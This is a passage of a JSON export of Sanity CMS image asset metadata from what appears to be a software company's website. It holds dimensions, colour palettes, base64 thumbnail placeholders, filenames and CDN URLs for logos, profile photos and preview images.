d-2350x214.png"} {"_createdAt":"2024-01-19T10:02:55Z","_id":"image-7743df1e4c275096b5640a22f6111ac3a08e1561-690x413-png","_rev":"ZLvKaZvfbZlWBlGcoxwexY","_type":"sanity.imageAsset","_updatedAt":"2024-01-19T10:02:55Z","assetId":"7743df1e4c275096b5640a22f6111ac3a08e1561","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M57-ot%J03xo08t54tIX~k%J03M}%eWY?T","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC40lEQVQokV2T3UtTcRzGn81petCYVmYvirYXp1t7+f3Odrad71lWA9/QqJAsaJRlZVAZQQblTRRUF11FFEQ3gRa9qmxnc25nE7EXqMCbICLIm/oL6vLEJsPygYfv3YcHnu8DlGRTACutXJsCg52AZgXWKKF3WAZwF39+i/jylePdRwZt0YfmG8Dk6wCSmoh0JoT/ZVUAdACIoNJJoEECMICmXYSBczJ03Yefv0TDh0+8LP+Wl88tcOMzleN5QoRaBIZXWTOaH48ng3g6FcTrZAA37wXxIl1I1QFPHxluPQiVvUpKlS9VqXZ6VrTEM9yvasyR1JgwN+9BKudDQvOvwBJZCUnNBwgRAFHUB2XAolQZW2ljRTs1VHvJYotSazQmO3tOhCMj48HBhxPi2PQsO57Ks62fl9xI5bxIaIEVYFJjRbd1hoEGBWhRjOVttKNqJ3UJbtpf0U7DgptOmjkdqvHScHtX+OrlW4FrL+J8YDbPNn377kaykDD7D1DVGID9AHpx5Y4ktHXJSp1I56tcNGpspeuw0bjRTkMFsKNTvjQyLvVPz/Kmlwle/mPZs8LIBktADjXvgcHagYX3TJh4I9q7h0IHzIwuGux0wWCncZODxqo9dKZRkU+5esKxA2dDNl13GoA9mElLxVLUrLQKLPh5XCxL55lzKsUPn7gixTZJ8ulqD42s99KlDX463RCi2OYQHanl1F3jpY3rnIRaLiOe8UPN+tcCGWbmxIpUjsvxDBu9+8h/rG84tE86KHfbonJ/Y4R2bwmTS9hJDtjIAgsJMEdgZoTcIoeq8dWXKSVMZEVjUuPbVI3RK5UH7z8JWMZuB+v3HpXrWnZTTbWHytGkmGAjk+AmQ7HA7cpqGSUV4qbnHfiwNAg1y42pHF+Xf8srv33nJl1vBXYQtiuEDQECzArQWFpS8SPWrKOYUEQq74Ku70EiwzA3z7C87IWutwPYBzQRtoQJdWJhlqVp/nPX6C/xffs5CaAs7gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3422","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082355","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#082355","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b17f","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bbce5f","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7ca464","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1c211","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-ibt.png","path":"images/sczeoy4w/production/7743df1e4c275096b5640a22f6111ac3a08e1561-690x413.png","sha1hash":"7743df1e4c275096b5640a22f6111ac3a08e1561","size":39916,"uploadId":"VF1UXM5Gp7AuF10ZSXdrZDJK52DwjapL","url":"https://cdn.sanity.io/images/sczeoy4w/production/7743df1e4c275096b5640a22f6111ac3a08e1561-690x413.png"} {"_createdAt":"2022-06-15T20:01:47Z","_id":"image-774f18a4a134fee4894f3f62a321c7ecd67dcbde-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhduJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:36Z","assetId":"774f18a4a134fee4894f3f62a321c7ecd67dcbde","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJJ+=Q?a9ZM|IU?^ofsmM{Io00E1%MRjNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACnklEQVQokRXN3U8SAQAA8Ptjequn3OrBjzJrNZtMI0qXD63ntmqjHloPbZoIDGM4JcwRfkwulUKF4xuOAw44juMQ7oA7vjmQr0NAMh9bv3/gBywcuaUQokGiZrqAVdvxZo9odO0sp8MolScihXyLx56lE1hhC2wg0cNYBqILB7HMOoxLLX5AYQvIrf5VV0gfoRyZUrDcCFVarlztiC7qiYwGIWQQooB82yhpOmXcTNlfrHuyVRCnVa4w8M2Lr3kwLUoaoqnjaNJKpuzJrCWZg6g8lMwZoim1M6SCvHofDkUTjiQDZzkXyxlIRoMQgNqLb4VOrelSsFT3syU4lXOniy6mDGc5NF9DshwYodYc6KY7CAbwX5HEb5LZi9AahFA6wwCI0/ZMGT/r0PwF3e6fNrtEoxtv9Sj+IsUPYvWuOV3RhalNNK5FyU0fsQ7jSmdIZgksW/yAk61gVT7R7tOdAcUPyFY/1uqnzy8LF1f5/hXFD/yVtoWtHqXK+hizjhAyi19i9krMiATyAYY442A5rMYTjR52do6U255SE6t1mPM/hf5fpntJNHoo1wlUeUe+rifZVRhfhpAvJu+SGQGUzpAWjZtSJaTSRjjeRBe1MAaisVC+muCaBNfy5qpGPGmKpVy5GsSe7RLMV1dYAvn+zxLIt+II7kYz1lzdwnLqE8dbyYps12DDk95IwoZT+0Hys0b3QaHSwWETWzugihvBhNIdkduDwDv1llizs7BnVBptS9v7r95/FMy/FEu/qkHjd93PNR24/AN88UY8Pi18vShXHJrlh+aFPeOnrQOxZgcYEQhHBMJx4ewD0dzYpODm8NjQ8OiE4MnU7PyUaG5S+PyRaO7W+P1r128Mjd6ZmBHdm3l2d/rp6NTM7YeP/wGKTdZERLCr+wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0c1011","foreground":"#fff","population":9.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a4d59","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1011","foreground":"#fff","population":9.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0cdd3","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5ebfc","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84b4bc","foreground":"#000","population":8.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84b4c4","foreground":"#000","population":6.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"774f18a4a134fee4894f3f62a321c7ecd67dcbde-752x405.png","path":"images/sczeoy4w/production/774f18a4a134fee4894f3f62a321c7ecd67dcbde-752x405.png","sha1hash":"774f18a4a134fee4894f3f62a321c7ecd67dcbde","size":171574,"uploadId":"RAQNPFLvFvLbRPrR13hNNPlA3YJgsLFQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/774f18a4a134fee4894f3f62a321c7ecd67dcbde-752x405.png"} {"_createdAt":"2023-08-25T12:44:57Z","_id":"image-7757f6c9244097faa22f5e90374ed2716053daaa-24x24-svg","_rev":"JgIs2qI3CUllaKCG3TyqzJ","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T12:44:57Z","assetId":"7757f6c9244097faa22f5e90374ed2716053daaa","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eA8F?Uj@Q*azRL.TfQo%fQV?4TazWGj@p0DkfQadj[ofD4fQtnaza$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADYklEQVQ4ja2Uz28bRRTHn5ycIqRKHCrRXsyJ/gE99FKSGf9o46QKanqpRNPaZVY5wBUqVBVVnt3YazvOIU1td1a9gXrh1hsq4scFKEJE5QJI0CJVNKGk3jdv2yDSRW+9lhyfOGSkr97b9973MzO70gIc9FJBBI6hA5EKIgAniEDxw4j+N2DcNwKcUoaOOIayzi2bTWIqxeLauEZmlaEjzBgCM8rQcWXoimOorcY0VlsbrzsDXWEGs/jek46hC46h+8rQU2VoyzG0zVL7taUMPUnjaO0pe5nBrCFwWRl65BiKHUMvlaFYGdpLNcwfK0PfKUO/KEMv0vpLjs7AuzwAGppUJlpWJvpdBdHQHCpDD5ShTcfQX7zZ5R59cmHDXr3UpfWkHjA02lOGPdHDlDEEDk6Y7BrQ83cMfXupQ42lm9a7fIs+rvTInF2zXnEFV+ebWFvqUIehIyd9lDIm+aNMOkFUdoJo0wmiHRXQ90sdujHnW+9UDdcWWvbamaa9mvfsp0Ljr9LFr+ebtn1xAL3vDN75D46hiw4DKz2aqPSoUOnRRoWvdZNaZ5q2IV38Qmj8Wbr2M6ntPanxsXRxT2gMpYtfzjds6+0N8stdul3uUrvcJVnu0gSUfJsp+Xa65Nt6ybe9UzUb5Fz8SmjsS21joe0LofG50AyzsXC5hihd/Ka4Ym/P1m1n1rfebN2+OVu3GRAaJ4TGs0LjXaFxU2h8IDQ+FBq3pMZt6eKzvGf/yXt2V7p2J6lp3BYa/xAaf0o9d1PGBAMzQuNxofEDqXFVamxJjU2pscH56RreWWjZ31ina/ZO2m+kM032sDdlZGC6amGmilNC42tCY1YO9LrU+EbODU+81cL3zq/bz8+v072Fln035+IJ7qUzWfawlxnMguL1v6FQ3YG8G4L0dyF3IwZ4Pwbp9qdybnhszsdzi2370WLbXiv5uCh1eExU+1Ov/BjD9GoMucZu4mUGs6DIiX4GBQ+T5kzjXyiuEkg3nJRueCjv4dHZGmZZeS88KnV4SFS5hyDbe8kh2MsMZsFJTTCtLb9LEFUEqcMkvno4hpwXwlwD4dyaTcS5dEOI4ziZl9Vw4NOYMJi1b+W8PsxUI5hvPuErJ+bCCkKpPlDBC9MNQ5Af/gk5P4KZ6/0D/+nvW/8BeUEaUa94KFwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1f2c40","foreground":"#fff","population":1.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#083868","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#516fa1","foreground":"#fff","population":2.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#024696","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#68acfc","foreground":"#000","population":0.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#516fa1","foreground":"#fff","population":2.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2470e0","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-google-cloud-monitoring.svg","path":"images/sczeoy4w/production/7757f6c9244097faa22f5e90374ed2716053daaa-24x24.svg","sha1hash":"7757f6c9244097faa22f5e90374ed2716053daaa","size":787,"uploadId":"qIu2OruYeEH4d6r8NHhxQEWQdFAMOpm9","url":"https://cdn.sanity.io/images/sczeoy4w/production/7757f6c9244097faa22f5e90374ed2716053daaa-24x24.svg"} {"_createdAt":"2022-06-16T23:49:34Z","_id":"image-7761c7c09fa62c8ce7d36925958dbc2c91aa0108-1200x630-jpg","_rev":"qkpX9b3U0TpOGFQp8fVQC8","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:34Z","assetId":"7761c7c09fa62c8ce7d36925958dbc2c91aa0108","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSB0Z|1RRF{]O%Oaie.oeVt+]K5ofwvI=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAwAEBf/EACAQAAICAQUAAwAAAAAAAAAAAAECAwQABRESITEUQZH/xAAXAQADAQAAAAAAAAAAAAAAAAACBQYH/8QAHBEBAQADAAMBAAAAAAAAAAAAAQIAAxEFEhWB/9oADAMBAAIRAxEAPwDpQSU1gVWqo0gHZI9OFqFuvQ0v5IEcU0svDiU5BV29GO/cK9D8wpoY7CKk6B1XsA/WQ/02Ng2dM1fbPvLxT9wqIr2KUMpDlmXdiBsN98s1QxrHGqIoVR4Bli3b5GqtZOGFLQB3P//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc463f","foreground":"#fff","population":8.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4be","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc463f","foreground":"#fff","population":8.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca7a1","foreground":"#000","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Norauto_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/7761c7c09fa62c8ce7d36925958dbc2c91aa0108-1200x630.jpg","sha1hash":"7761c7c09fa62c8ce7d36925958dbc2c91aa0108","size":205730,"uploadId":"gaIvH0u5AR1vQieUY1gakKhZTjvERsPm","url":"https://cdn.sanity.io/images/sczeoy4w/production/7761c7c09fa62c8ce7d36925958dbc2c91aa0108-1200x630.jpg"} {"_createdAt":"2023-06-27T12:28:03Z","_id":"image-779e18996baf29db46ceeaae57a91018a33660fe-768x768-jpg","_rev":"kqzyZ7JVpCO5nNERnMgdZ2","_type":"sanity.imageAsset","_updatedAt":"2023-06-30T15:52:07Z","altText":"Floor Drees","assetId":"779e18996baf29db46ceeaae57a91018a33660fe","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKEzl0M#3cM|iLC=nRX*xH,J-iNZv.t6SiK5xaaLSKIn%eRRnPX5tQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":768,"width":768},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAMEBgUH/8QAJBAAAQQBBAICAwAAAAAAAAAAAQACAwQRBQYTIRIxB1EyQXH/xAAXAQEBAQEAAAAAAAAAAAAAAAAFBgID/8QAHxEAAgEEAgMAAAAAAAAAAAAAAQIAAwQTURFBFCEx/9oADAMBAAIRAxEAPwCVlxkEbnE9tGcK+3VJK7qcU5LxZ/E/X7Wc0OvDuBmpU5n8Z4fKN2fRBXNpaxT1zdcQiL61LSKz/Mk9PcOgp+3tA9Jie4daUB41Qkclvk9BMjcosi3cFaRodHOwt/qIzC46g2JtSXYmnQhnPmTkkjAJ8vtaCrt/S47F6k2nHwmJr3dduJ95KImh6VuJb0lCooAl6P47246NrhTc3IzhryAiIuGR9zeNNCf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453927","foreground":"#fff","population":1.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24820d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#59bf3e","foreground":"#fff","population":8.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9b7ab","foreground":"#000","population":1.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ad8c","foreground":"#000","population":0.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#999166","foreground":"#fff","population":3.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#59bf3e","foreground":"#fff","population":8.84,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"floor-drees.jpg","path":"images/sczeoy4w/production/779e18996baf29db46ceeaae57a91018a33660fe-768x768.jpg","sha1hash":"779e18996baf29db46ceeaae57a91018a33660fe","size":35556,"title":null,"uploadId":"NkB45hEgdwCsut0OE7k2LEEUV5NeNJGx","url":"https://cdn.sanity.io/images/sczeoy4w/production/779e18996baf29db46ceeaae57a91018a33660fe-768x768.jpg"} {"_createdAt":"2023-07-21T10:32:51Z","_id":"image-77a39272bc09e63c6b417091ffe6c6c4c7c4b128-658x659-webp","_rev":"liXun5Qglq4dGLky9T5Xgm","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T10:32:51Z","assetId":"77a39272bc09e63c6b417091ffe6c6c4c7c4b128","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"ecN^e:9F~q-;Rj~q%Moft7M{9FRjRjIUt7-;j[j[t7RjWBt7ofM{Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9984825493171472,"height":659,"width":658},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAUBBggH/8QAJRAAAgEEAQMEAwAAAAAAAAAAAQMCAAQFEQYHMWESEyEiQVFS/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/APeuf5NuL4zcOt3ey6REIs/nZ71K4TGQNu2GYdeSZHc4TOwfNSeq/OuPWOIlj2XKrq+bIBalnfpP7Jqj0yYuNqlbyF3LIFkVy0Drx4oN8J0dUrMh80oOCGog77M9Upd9k/NWrHk+YjkrR8b90W2i/bVIHtEfilKDsLhN+/KcWx15dyEntUDMga2aUpQf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3e3e","foreground":"#fff","population":15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3e3e3e","foreground":"#fff","population":15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Brent Van Geertruy.webp","path":"images/sczeoy4w/production/77a39272bc09e63c6b417091ffe6c6c4c7c4b128-658x659.webp","sha1hash":"77a39272bc09e63c6b417091ffe6c6c4c7c4b128","size":21768,"uploadId":"WAAuT6pdI1gxEC70vHTOgYTBq5TpcpbT","url":"https://cdn.sanity.io/images/sczeoy4w/production/77a39272bc09e63c6b417091ffe6c6c4c7c4b128-658x659.webp"} {"_createdAt":"2023-11-17T13:12:50Z","_id":"image-77ccefc90763b4a2dfc047a9d7dcc708619f632d-745x471-png","_rev":"BjY9n6joNYFLmv1rryeVLf","_type":"sanity.imageAsset","_updatedAt":"2023-11-17T13:12:50Z","assetId":"77ccefc90763b4a2dfc047a9d7dcc708619f632d","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5817409766454353,"height":471,"width":745},"exif":{"ColorSpace":1,"PixelXDimension":745,"PixelYDimension":471,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAABdUlEQVQ4jZ2TS0vEMBSF+9N1518QV/4CQRFxOz5wJepOXQrqTGc6afPubXrkJFYGERkm8PU2r5OT3tuq73toraGUglIt2rbL8J0455FSAts4jthsU38cRwzDkNdVMUasVg3ePz7w+TnHYlGjruscSdfpvHja+Bu2lEaIDHldRYfrtcJ8XqNp1rDWwnv/A+d58l9im6SUikMq00XTKDjnttr8HxVtUsgYA+8DROT7NJ66g6CIwBibE9Fpk5PAsZ0digispUObxZgkut5ZMKWEGHuEEBBCzIL/05fPMpQkpA2yIB8UY4aXy9UvljmyrDjfNCVqbRBij17kmwEy/CFY10VggmNTsXddKXhitIHXFqHVCKrLsTcOSaQI0i7rbboSYZ9Xm/4ARo77EODXLfzjC+zFLczpDOZsBje7h7zNUeVS36LxYAoygfZ9AXN2hfbgGGrvCGr/CPrwBPHhuTjcFjoOMZZrPr3CXd7BnV/Dnd8gXD9kh18Eg/JH8vIoKAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#504f52","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d60434","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e31849","foreground":"#fff","population":1.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c88491","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#828285","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e31849","foreground":"#fff","population":1.48,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"generate-token.png","path":"images/sczeoy4w/production/77ccefc90763b4a2dfc047a9d7dcc708619f632d-745x471.png","sha1hash":"77ccefc90763b4a2dfc047a9d7dcc708619f632d","size":45807,"uploadId":"Uznij1pXrG5HLYDbEaPssTWbwjLw4iIz","url":"https://cdn.sanity.io/images/sczeoy4w/production/77ccefc90763b4a2dfc047a9d7dcc708619f632d-745x471.png"} {"_createdAt":"2022-10-06T08:18:09Z","_id":"image-77fed7781d491b035f567f3aedaf2942bd52502f-1264x144-svg","_rev":"NQmZ8r2evnRSWxI4aggf7D","_type":"sanity.imageAsset","_updatedAt":"2022-10-06T08:18:09Z","assetId":"77fed7781d491b035f567f3aedaf2942bd52502f","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"45S~t|-;_N_3x]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.777777777777779,"height":144,"width":1264},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAACABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAMECP/EABsQAQEAAQUAAAAAAAAAAAAAAAABAgQhMXGB/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANRajnHqo8Lt5ABbgAP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7c4c1c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b4218","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#828586","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb4a4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecccac","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#828586","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf7f2f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"diagram-hiring-process.svg","path":"images/sczeoy4w/production/77fed7781d491b035f567f3aedaf2942bd52502f-1264x144.svg","sha1hash":"77fed7781d491b035f567f3aedaf2942bd52502f","size":67871,"uploadId":"Py22h0mMmfvIbVabYz6j9g4glbdiZtzy","url":"https://cdn.sanity.io/images/sczeoy4w/production/77fed7781d491b035f567f3aedaf2942bd52502f-1264x144.svg"} {"_createdAt":"2024-08-08T10:23:36Z","_id":"image-7801503e370fe8a21d719ba8e8c95d653a0a83b9-1200x630-jpg","_rev":"msvVOwV0ly404Y5JqAJHuC","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T10:23:36Z","assetId":"7801503e370fe8a21d719ba8e8c95d653a0a83b9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCA]d.0v-AOw+WR}TN}i0-og%3VrJWxC$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQHBQb/xAAjEAABBAEEAQUAAAAAAAAAAAABAAIDBBEFBiExEhMUM5Gx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwQG/8QAIhEAAgIBAQkAAAAAAAAAAAAAAQIAEQMUBAUGEhMhMmJx/9oADAMBAAIRAxEAPwCKVrene0aw1T6wbgvx2U9t6nNPab4NcARkEjhYI+GPr6Vr2VBE/aNSR0bS/JGccrR6nTtjFXzNULHh6oY34i4lX3Ff0+COtG6Ehg7KFzF8kXJgDx5n9QjPDGzuSzUSfUSwb5dRQHb6Z//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414570","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c6c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a6cb","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9943c","foreground":"#000","population":1.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cae","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-for-software-meta-preview.jpg","path":"images/sczeoy4w/production/7801503e370fe8a21d719ba8e8c95d653a0a83b9-1200x630.jpg","sha1hash":"7801503e370fe8a21d719ba8e